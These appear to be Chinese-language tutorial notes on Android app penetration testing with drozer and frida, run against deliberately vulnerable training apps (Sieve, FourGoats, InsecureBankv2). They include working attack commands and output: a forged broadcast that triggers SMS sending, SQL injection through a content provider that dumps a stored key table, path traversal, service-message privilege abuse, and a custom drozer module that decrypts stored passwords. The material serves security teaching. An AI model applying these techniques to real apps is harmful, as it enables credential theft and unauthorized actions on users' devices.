Android安全测试笔记
搭建测试环境
- 手机先刷TWRP,接着刷lineage系统,再刷Magisk应用
- 手机安装drozer agent
- 手机传入frida-server
- 手机安装MagiskFrida,配置frida-server自启动
- 安装漏洞应用 Sieve, FourGoats, InsecureBankv2
- 电脑安装drozer
- 电脑安装frida
- 电脑安装adb配套工具 SDK Platform-tools for Windows
如果电脑和手机通过USB线的方式连接,则执行以下操作:
# 用于drozer
adb forward tcp:31415 tcp:31415
# 用于frida
adb forward tcp:27042 tcp:27042
# 如果看到手机上的进程信息,则frida环境配置成功
frida-ps -U
# 连接之前,要先启动手机的drozer-agent,如果显示‘dz>’的终端提示符,则drozer连接成功
drozer console connect
如果要远程连接drozer和frida,则让手机和电脑连接到同一个局域网。如下配置
# 配置drozer远程连接,并运行
# 检测连接是否正常,如果显示有设备信息则正常
drozer console devices --server 192.168.124.9:31415
# 远程连接手机的drozer-agent
drozer console connect --server 192.168.124.9:31415
# 通过MagiskFrida配置frida远程连接
Step1: adb login android, and get root shell.
cmder λ adb shell
sagit:/ $ su
Step2: find the main directory of magisk-frida, and cd into it.
sagit:/ # cd /data/adb/modules/magisk-frida
sagit:/data/adb/modules/magisk-frida # ls
module.prop service.sh system
Step3: edit service.sh, change "frida-server" to "frida-server -l 0.0.0.0:27042"
sagit:/data/adb/modules/magisk-frida # cat service.sh
#!/system/bin/sh
......
# restart on crash
while true; do
frida-server -l 0.0.0.0:27042 # change this line
sleep 1
done
# 远程连接frida
λ frida-ps -H 192.168.124.9:27042
通过drozer给手机安装busybox,busybox集成了很多常用命令,非常实用。
dz> run tools.setup.busybox
dz> run shell.start
sagit:/ # /data/user/0/com.mwr.dz/bin/busybox ps
避坑指南
- 电脑frida版本要和手机的frida server版本一致,否则可能会出现不兼容问题
- drozer只支持python 2.x, 笔者使用的是2.7
- python2已经不被支持了,pip如果能用就不要升级,升级可能会造成ssl证书验证失败问题
- protobuf安装3.17.3版本,python2 -m pip install protobuf==3.17.3
- 建议通过安装包drozer-2.4.4.win32.msi安装,而不是python的whl安装,安装过程要指定Python2的路径
- 使用drozer的过程中,drozer agent要是最上层的activity,如果在后台运行,有些drozer命令会无效。
- 解决drozer中文乱码问题
在文件 Lib\site-packages\drozer\modules\app\package.py 的最上方增加三行
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
在windows终端上执行命令
chcp 65001
set PYTHONIOENCODING=UTF-8
客户端测试
本次测试的apk目标是:FourGoats,Sieve,InsecureBankv2。这几个app都是带有漏洞的用于学习的app。
定位目标app
查看手机上安装的所有应用
dz> run app.package.list
org.owasp.goatdroid.fourgoats (FourGoats)
com.android.insecurebankv2 (InsecureBankv2)
com.mwr.example.sieve (Sieve)
如果应用太多,也可以通过-f过滤目标应用
dz> run app.package.list -f fourgoats
org.owasp.goatdroid.fourgoats (FourGoats)
查看app信息
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Application Label: Sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/user/0/com.mwr.example.sieve
APK Path: /data/app/~~YQeKLGai-ub2H2_zkKc9ZA==/com.mwr.example.sieve-7_hc6CTfoKoGNyVKeO2mDA==/base.apk
UID: 10197
GID: [3003]
Shared Libraries: [/system/framework/android.test.base.jar, /system/framework/org.apache.http.legacy.jar]
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
- android.permission.ACCESS_MEDIA_LOCATION
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
从手机取回apk包
dz> run tools.file.download /data/app/~~YQeKLGai-ub2H2_zkKc9ZA==/com.mwr.example.sieve-7_hc6CTfoKoGNyVKeO2mDA==/base.apk ./com.mwr.example.sieve.apk
Read 367886 bytes
分析攻击面
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
activity常见漏洞
越权;拒绝服务;钓鱼;敏感信息泄露
broadcast receiver常见漏洞
权限绕过;拒绝服务;敏感信息泄露
content provider常见漏洞
SQL注入;目录遍历;敏感信息泄露
service常见漏洞
拒绝服务;消息伪造;权限提升;劫持
activity组件测试
查看app所有activities
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
Permission: null
com.mwr.example.sieve.MainLoginActivity
Permission: null
com.mwr.example.sieve.PWList
Permission: null
activity常规漏洞测试
越权;拒绝服务;钓鱼;敏感信息泄露
- 某些activity需要认证后才能访问,直接调用如果能打开就存在越权漏洞;
- 打开某activity后,会造成app异常停止运行,造成拒绝服务;
- 打开某activity后,可能页面上存在敏感信息;
- 攻击者可以伪造一个activity钓鱼,诱骗用户输入账户密码;
注意:执行drozer命令的时候,手机当前的activity必须是drozer-agent的activity
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.MainLoginActivity
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity
漏洞样本1 - 越权
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
broadcase receiver组件测试
权限绕过;拒绝服务;敏感信息泄露
把app类比为pc电脑,和PC机类似,app也有广播和接收广播信息的功能,app如果收到自己期望的广播包,则会处理该广播请求。同理,app可以向外广播信息。
在处理广播时,可能会遇到这类问题,app不校验广播请求的合法性和有效性,收到广播直接处理,这可能导致攻击者恶意构造广播包,可能造成app拒绝服务,敏感信息泄露,权限绕过等漏洞。
dz> run app.broadcast.info -a org.owasp.goatdroid.fourgoats -i
Package: org.owasp.goatdroid.fourgoats
org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver
Intent Filter:
Actions:
- org.owasp.goatdroid.fourgoats.SOCIAL_SMS
Permission: null
漏洞样本1 - 拒绝服务
测试的时候,我用的是android 11,经测试发现的情况比较奇怪。当我打开fourgoats,停留在fourgoats界面,不停的执行下方的命令,app不停重启,偶尔会提示app关闭,但无法必现。而且,执行下方的命令,不需要drozer-agent的activity在最上层。
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS
漏洞样本2 - 越权
如果要测试此类漏洞,则需要拿到apk的源码进行分析,确定参数个数,类型,名称等信息。
通过Bytecode-Viewer-2.9.22浏览apk的源码,发现如下实现
package org.owasp.goatdroid.fourgoats.broadcastreceivers;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import org.owasp.goatdroid.fourgoats.misc.Utils;
public class SendSMSNowReceiver extends BroadcastReceiver {
Context context;
public void onReceive(Context var1, Intent var2) {
this.context = var1;
SmsManager var3 = SmsManager.getDefault();
Bundle var4 = var2.getExtras();
var3.sendTextMessage(var4.getString("phoneNumber"), (String)null, var4.getString("message"), (PendingIntent)null, (PendingIntent)null);
Utils.makeToast(this.context, "Your text message has been sent!", 1);
}
}
看到上面的代码,可以确定,接收两个参数,分别是”phoneNumber”和”message”,两个参数均是string类型。接下来构造攻击命令,如下:
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 10010 --extra string message test!
app收到这个广播之后,就向目标号码发送一段指定内容的短消息。
content provider组件测试
SQL注入;目录遍历;敏感信息泄露
provider组件主要是提供给app分享数据和文件的功能,比如通讯录app,当其他app想要访问通讯录时,就需要通讯录app提供数据查询服务,而通讯录app就是通过该组件提供服务。一般这类数据是以SQLite存储,所以获取时可能存在SQL注入。另外一种共享方式是共享文件,该方式可能存在目录遍历问题。无论是SQL注入或者是目录遍历,都可能涉及敏感信息泄露。
定位目标app支持的content provider
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
扫描uri
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider/ Unable to Query content://com.mwr.example.sieve.DBContentProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
SQL语句大家都很熟悉,一个常见的select语句如下
select username,password from users where username="admin";
安卓的content provider也是类似的思路,如下所示
select projection from Uri where selection;
所以上面扫描Uri的过程,就是扫描目标app提供的表的过程。每个Uri可以理解为一个数据库的表名。
通过drozer直接查看数据库信息,如下
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
| _id | service | username | password | email |
| 1 | test | kafroc | cit/yTZ7HyCecb+GN7uFTM0NpbJKo5/7 (Base64-encoded) | kafrocyang@gmail.com |
| 2 | temp | xxoo | jlqSHWQCIxaecb+GN7uFTM0NpbJKo5/7 (Base64-encoded) | xxoo@xxoo.com |
接下来通过projection指定列为username和password,如下所示
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "username,password"
| username | password |
| kafroc | cit/yTZ7HyCecb+GN7uFTM0NpbJKo5/7 (Base64-encoded) |
| xxoo | jlqSHWQCIxaecb+GN7uFTM0NpbJKo5/7 (Base64-encoded) |
最后通过selection来选择过滤查询结果,假设我们只想查用户kafroc的密码,如下所示
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "username,password" --selection "username='kafroc'"
| username | password |
| kafroc | cit/yTZ7HyCecb+GN7uFTM0NpbJKo5/7 (Base64-encoded) |
那么问题来了,上面都是理想情况下的用法,假设传入的参数异常,实现过程又没做恰当的处理的话,是有可能造成SQL注入的。drozer集成了一个扫描工具可以辅助测试人员扫描SQL注入情况。
dz> run scanner.provider.injection -a com.bj.chuanglian.coach
Scanning com.bj.chuanglian.coach...
Not Vulnerable:
content://com.bj.chuanglian.coach.aaidinitprovider
content://com.bj.chuanglian.coach.umeng.share.fileprovider
...
content://com.bj.chuanglian.coach.lifecycle-process/
content://com.bj.chuanglian.coach.huawei.push.provider/
Injection in Projection:
No vulnerabilities found.
Injection in Selection:
No vulnerabilities found.
漏洞样例1 - SQL注入
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql
|
| table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT)
|
| table | Passwords | Passwords | 4 | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
| table | Key | Key | 5 | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT )
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
| Password | pin |
| admin12345678900 | 6666 |
drozer还集成了一个扫描工具可以辅助测试人员扫描路径遍历的情况。
dz> run scanner.provider.traversal -a com.bj.chuanglian.coach
Scanning com.bj.chuanglian.coach...
Not Vulnerable:
content://com.bj.chuanglian.coach.aaidinitprovider
content://com.bj.chuanglian.coach.umeng.share.fileprovider
...
content://com.bj.chuanglian.coach.lifecycle-process/
content://com.bj.chuanglian.coach.huawei.push.provider/
Vulnerable Providers:
No vulnerable providers found.
漏洞样例2 - 目录遍历
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
::1 ip6-localhost
service组件测试
拒绝服务;消息伪造;权限提升;劫持
service可以理解为没有UI的activity,我们在UI操作时,输入信息,点击按钮等操作,最终都会调用对应的业务代码。service也是类似,只不过不是用户直接与之交互,可以认为是一个幕后的角色,默默无闻提供服务。
查看目标app提供的服务的命令如下:
dz> run app.service.info -a com.mwr.example.sieve -i
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
启动service
dz> run app.service.start --component com.mwr.example.sieve com.mwr.example.sieve.AuthService
dz> run app.service.start --component com.mwr.example.sieve com.mwr.example.sieve.CryptoService
和broadcast receiver类似,挖掘service的漏洞,很大程度上都依赖代码审计。通过jadx-gui逆向查看app代码,可以看到AuthService服务实现流程如下
private final class MessageHandler extends Handler {
public MessageHandler(Looper looper) {
super(looper);
}
public void handleMessage(Message msg) {
int responseCode;
int returnVal;
int responseCode2;
int responseCode3;
int returnVal2;
AuthService.this.responseHandler = msg.replyTo;
Bundle returnBundle = (Bundle) msg.obj;
switch (msg.what) {
case 4:
if (!AuthService.this.checkKeyExists()) {
responseCode2 = 33;
} else if (AuthService.this.checkPinExists()) {
responseCode2 = 31;
} else {
responseCode2 = 32;
}
sendResponseMessage(3, responseCode2, 1, (Bundle) null);
return;
case AuthService.MSG_CHECK /*2354*/:
if (msg.arg1 == AuthService.TYPE_KEY) {
responseCode3 = 42;
if (AuthService.this.verifyKey(returnBundle.getString("com.mwr.example.sieve.PASSWORD"))) {
AuthService.this.showNotification();
returnVal2 = 0;
} else {
returnVal2 = 1;
}
} else if (msg.arg1 == AuthService.TYPE_PIN) {
responseCode3 = 41;
if (AuthService.this.verifyPin(returnBundle.getString("com.mwr.example.sieve.PIN"))) {
returnBundle = new Bundle();
returnBundle.putString("com.mwr.example.sieve.PASSWORD", AuthService.this.getKey());
returnVal2 = 0;
} else {
returnVal2 = 1;
}
} else {
sendUnrecognisedMessage();
return;
}
sendResponseMessage(5, responseCode3, returnVal2, returnBundle);
return;
正常操作,发送查询请求,根据PIN获取Password。其中
- msg.what == 2354 == AuthService.MSG_CHECK
- msg.arg1 == 9234 == AuthService.TYPE_PIN
- msg.arg2 没用到
dz> run app.service.send --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 6666 --bundle-as-obj com.mwr.example.sieve com.mwr.example.sieve.AuthService Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService: what: 5 arg1: 41 arg2: 0 Extras com.mwr.example.sieve.PASSWORD (String) : admin12345678900
加密服务之加密操作(解密操作涉及到自定义模块,见附录A)
- msg.what == 3452 == CryptoService.MSG_ENCRYPT
- msg.arg1 没用到
- msg.arg2 没用到
- com.mwr.example.sieve.KEY == key666
- com.mwr.example.sieve.STRING == hello_world!
dz> run app.service.send --msg 3452 1 2 --extra string com.mwr.example.sieve.KEY key666 --extra string com.mwr.example.sieve.STRING hello_world! --bundle-as-obj com.mwr.example.sieve com.mwr.example.sieve.CryptoService Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.CryptoService: what: 9 arg1: 91 arg2: 1 Extras com.mwr.example.sieve.RESULT (byte[]) : [-60, 47, 95, -20, 70, 127, -25, -125, 51, -117, -102, -71, -45, -95, -12, 29, -71, 88, 88, 17, -11, 69, -44, 121, -38, 121, -56, 94] com.mwr.example.sieve.STRING (String) : hello_world! com.mwr.example.sieve.KEY (String) : key666
漏洞样本1 - 拒绝服务
dz> run app.service.send --msg 2354 9234 1 com.mwr.example.sieve com.mwr.example.sieve.AuthService
漏洞样本2 - 越权
# 初始状态
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
| Password | pin |
| admin12345678900 | 6666 |
| admin666 | 8888 |
# 越权新建密码
dz> run app.service.send --msg 6345 7452 1 --extra string com.mwr.example.sieve.PASSWORD admin888 --bundle-as-obj com.mwr.example.sieve com.mwr.example.sieve.AuthService
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService:
what: 4
arg1: 42
arg2: 0
Empty
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
| Password | pin |
| admin12345678900 | 6666 |
| admin666 | 8888 |
| admin888 | null |
# 越权修改新建密码的PIN
dz> run app.service.send --msg 6345 9234 1 --extra string com.mwr.example.sieve.PIN 6789 --bundle-as-obj com.mwr.example.sieve com.mwr.example.sieve.AuthService
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService:
what: 4
arg1: 41
arg2: 0
Empty
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
| Password | pin |
| admin12345678900 | 6666 |
| admin666 | 8888 |
| admin888 | 6789 |
本地存储测试
确定目标app的本地存储位置,在Data Directory展示 dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Application Label: Sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/user/0/com.mwr.example.sieve
APK Path: /data/app/~~faaSHd6qhAabsR7SxrEqVQ==/com.mwr.example.sieve-b3y0QLZRofYnhM2X5CfLSg==/base.apk
UID: 10243
GID: [3003]
Shared Libraries: [/system/framework/android.test.base.jar, /system/framework/org.apache.http.legacy.jar]
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
- android.permission.ACCESS_MEDIA_LOCATION
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
通过adb进入手机,进入/data/user/0/com.mwr.example.sieve目录。
λ adb shell
sagit:/ $ su
sagit:/ # cd /data/user/0/com.mwr.example.sieve
sagit:/data/user/0/com.mwr.example.sieve # ls
cache code_cache databases lib
sagit:/data/user/0/com.mwr.example.sieve # cd databases
sagit:/data/user/0/com.mwr.example.sieve/databases # ls
database.db database.db-journal
127|sagit:/data/user/0/com.mwr.example.sieve/databases # sqlite3 database.db
SQLite version 3.28.0 2021-07-13 15:30:48
sqlite> select * from Key;
admin12345678900|6666
admin666|8888
admin888|6789
sqlite> select * from Passwords;
��J���|kafrocyang@gmail.com �L�
��J���|xxoo@xxoo.com�q��7��L�
sqlite> select * from android_metadata;
zh_CN
sqlite> select * FROM SQLITE_MASTER WHERE type='table';
table|android_metadata|android_metadata|3|CREATE TABLE android_metadata (locale TEXT)
table|Passwords|Passwords|4|CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email )
table|Key|Key|5|CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT )
sqlite>
sqlite> select service,username,email from Passwords;
test|kafroc|kafrocyang@gmail.com
temp|xxoo|xxoo@xxoo.com
客户端脱壳
frida-dexdump(https://github.com/hluwa/frida-dexdump)这个frida工具非常有意思。
这个工具的原理是通过frida注入到目标进程,从进程的内存空间中搜索DEX关键字,如果怀疑是DEX,则dump转储内存并保存在本地,该工具目前能脱360的壳,导出的DEX可能很多,逐个排查,总能找到目标的包名对应的代码。
dump出来的DEX文件,我用jadx-gui逐个查看,一般都能找到目标APP的实现代码。
Frida的知识庞大且复杂,我后续会再写一些文章记录学习过程。
其他测试
superFuzz 测试 安装超级拒绝服务漏洞检测工具,根据组件类型依次全部启动,看看目标应用会不会产生拒绝服务。
本地日志敏感信息泄露 有些app会把敏感信息,如用户名,密码,私钥等信息通过log记录,此时,可以通过logcat命令查看。
λ adb shell
sagit:/ $ su
sagit:/ # logcat
--------- beginning of kernel
08-20 18:25:02.383 0 0 I : Booting Linux on physical CPU 0x0
08-20 18:25:02.383 0 0 I : Initializing cgroup subsys cpuset
08-20 18:25:02.383 0 0 I : Initializing cgroup subsys cpu
签名测试
重打包测试
代码硬编码敏感信息测试
sharePerferences敏感信息测试
Webview组件安全
备份设置
调试设置
更多常见漏洞,请查看参考材料[7],[8]
参考材料
[1] https://sutune.me/2020/11/29/drozer/
[2] drozer User Guide
[3] https://developer.android.com/guide/topics/providers/content-provider-basics
[4] The Mobile Application Hacker’s Handbook
[5] https://www.anquanke.com/post/id/85067
[6] https://github.com/ViRb3/magisk-frida
[7] https://ayesawyer.github.io/2019/08/21/Android-App%E5%B8%B8%E8%A7%81%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/
[8] https://www.anquanke.com/post/id/241264
附录A - drozer模块操作之sieve解密
回顾
执行完加密操作后
dz> run app.service.send --msg 3452 1 2 --extra string com.mwr.example.sieve.KEY key666 --extra string com.mwr.example.sieve.STRING hello_world! --bundle-as-obj com.mwr.example.sieve com.mwr.example.sieve.CryptoService
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.CryptoService:
what: 9
arg1: 91
arg2: 1
Extras
com.mwr.example.sieve.RESULT (byte[]) : [-60, 47, 95, -20, 70, 127, -25, -125, 51, -117, -102, -71, -45, -95, -12, 29, -71, 88, 88, 17, -11, 69, -44, 121, -38, 121, -56, 94]
com.mwr.example.sieve.STRING (String) : hello_world!
com.mwr.example.sieve.KEY (String) : key666
得到了加密后的密文如下
com.mwr.example.sieve.RESULT (byte[]) : [-60, 47, 95, -20, 70, 127, -25, -125, 51, -117, -102, -71, -45, -95, -12, 29, -71, 88, 88, 17, -11, 69, -44, 121, -38, 121, -56, 94]
要解密密文,需要把字节数组通过drozer命令行传给drozer-agent。有一个坑是命令行无法传输字节数组,所以这里引入了自定义模块。通过自定义模块把base64编码后的密文,传给agent,agent自定义模块解码密文后,调用相关组件完成解密。
编码
先编写一个脚本,把有符号整型转为字节数组
import base64
ret = b''
intarray = [-60, 47, 95, -20, 70, 127, -25, -125, 51, -117, -102, -71, -45, -95, -12, 29, -71, 88, 88, 17, -11, 69, -44, 121, -38, 121, -56, 94]
for i in intarray:
ret += int.to_bytes(i, 1, 'big', signed=True)
print(base64.b64encode(ret))
得到编码后的结果b'xC9f7EZ/54Mzi5q506H0HblYWBH1RdR52nnIXg=='
自定义模块
编写自定义模块,文件名为exploit.sieve.crypto.decrypt(文件名和模块信息相对应,不可随意命名,不用.py后缀)
文件内容如下
PS F:\> cat .\exploit.sieve.crypto.decrypt
import base64
from drozer import android
from drozer.modules import common, Module
class Decrypt(Module, common.ServiceBinding):
name = "Decrypt Sieve passwords"
description = "Decrypt a given password with the provided key"
examples = ""
author = "MWR InfoSecurity (@mwrlabs)"
date = "2014-07-22"
license = "BSD (3 clause)"
path = ["exploit", "sieve", "crypto"]
permissions = ["com.mwr.dz.permissions.GET_CONTEXT"]
def add_arguments(self, parser):
parser.add_argument("key", help="AES key")
parser.add_argument("base64_ciphertext", help=
"the base64 ciphertext string to be decrypted")
def execute(self, arguments):
# Create a bundle with the required user input
bundle = self.new("android.os.Bundle")
bundle.putString("com.mwr.example.sieve.KEY", arguments.key)
bundle.putByteArray("com.mwr.example.sieve.PASSWORD",
self.arg(base64.b64decode(arguments.base64_ciphertext),
obj_type="data"))
# Define service endpoint and parameters
binding = self.getBinding("com.mwr.example.sieve",
"com.mwr.example.sieve.CryptoService")
binding.setBundle(bundle)
binding.setObjFormat("bundleAsObj")
# Send message and receive reply
msg = (13476, 1, 1)
if binding.send_message(msg, 5000):
self.stdout.write("%s\n" % binding.getData())
else:
self.stderr.write("An error occured\n")
配置drozer本地模块仓库
dz> module repository list
Local repositories:
dz> module repository create F:\\drozer_module
Initialised repository at F:\drozer_module.
dz> module repository list
Local repositories:
F:\drozer_module
如果有多个本地仓库,则安装模块时,会提示要把模块安装在哪个仓库。路径用绝对路径。
安装自定义模块
dz> module install F:\\exploit.sieve.crypto.decrypt
Processing F:\exploit.sieve.crypto.decrypt... Done.
Successfully installed 1 modules, 0 already installed.
注意:安装完成后,要退出当前的drozer终端,进入模块目录后,重新连接drozer终端,这样才能找到对应的模块,否则会找不到模块。
dz> *** Unknown syntax: EOF
Caught SIGINT, terminating your session.
Terminate batch job (Y/N)? y
λ F:\\
F:\
λ cd drozer_module\
F:\drozer_module
λ drozer console connect --server 192.168.124.9:31415
C:\Python27\lib\site-packages\OpenSSL\crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in a future release.
from cryptography import x509
Selecting 6b22a4ae864513d3 (Xiaomi MI 6 11)
.. ..:.
..o.. .r..
..a.. . ....... . ..nd
ro..idsnemesisand..pr
.otectorandroidsneme.
.,sisandprotectorandroids+.
..nemesisandprotectorandroidsn:.
.emesisandprotectorandroidsnemes..
..isandp,..,rotectorandro,..,idsnem.
.isisandp..rotectorandroid..snemisis.
,andprotectorandroidsnemisisandprotec.
.torandroidsnemesisandprotectorandroid.
.snemisisandprotectorandroidsnemesisan:
.dprotectorandroidsnemesisandprotector.
drozer Console (v2.4.4)
dz> list
exploit.sieve.crypto.decrypt Decrypt Sieve passwords
dz> run exploit.sieve.crypto.decrypt
too few arguments
dz> run exploit.sieve.crypto.decrypt -h
usage: run exploit.sieve.crypto.decrypt [-h] key base64_ciphertext
Decrypt a given password with the provided key
Last Modified: 2014-07-22
Credit: MWR InfoSecurity (@mwrlabs)
License: BSD (3 clause)
positional arguments:
key AES key
base64_ciphertext the base64 ciphertext string to be decrypted
optional arguments:
-h, --help
执行模块,解密成功
dz> run exploit.sieve.crypto.decrypt key666 xC9f7EZ/54Mzi5q506H0HblYWBH1RdR52nnIXg==
Extras
com.mwr.example.sieve.PASSWORD (byte[]) : [-60, 47, 95, -20, 70, 127, -25, -125, 51, -117, -102, -71, -45, -95, -12, 29, -71, 88, 88, 17, -11, 69, -44, 121, -38, 121, -56, 94]
com.mwr.example.sieve.RESULT (String) : hello_world!
com.mwr.example.sieve.KEY (String) : key666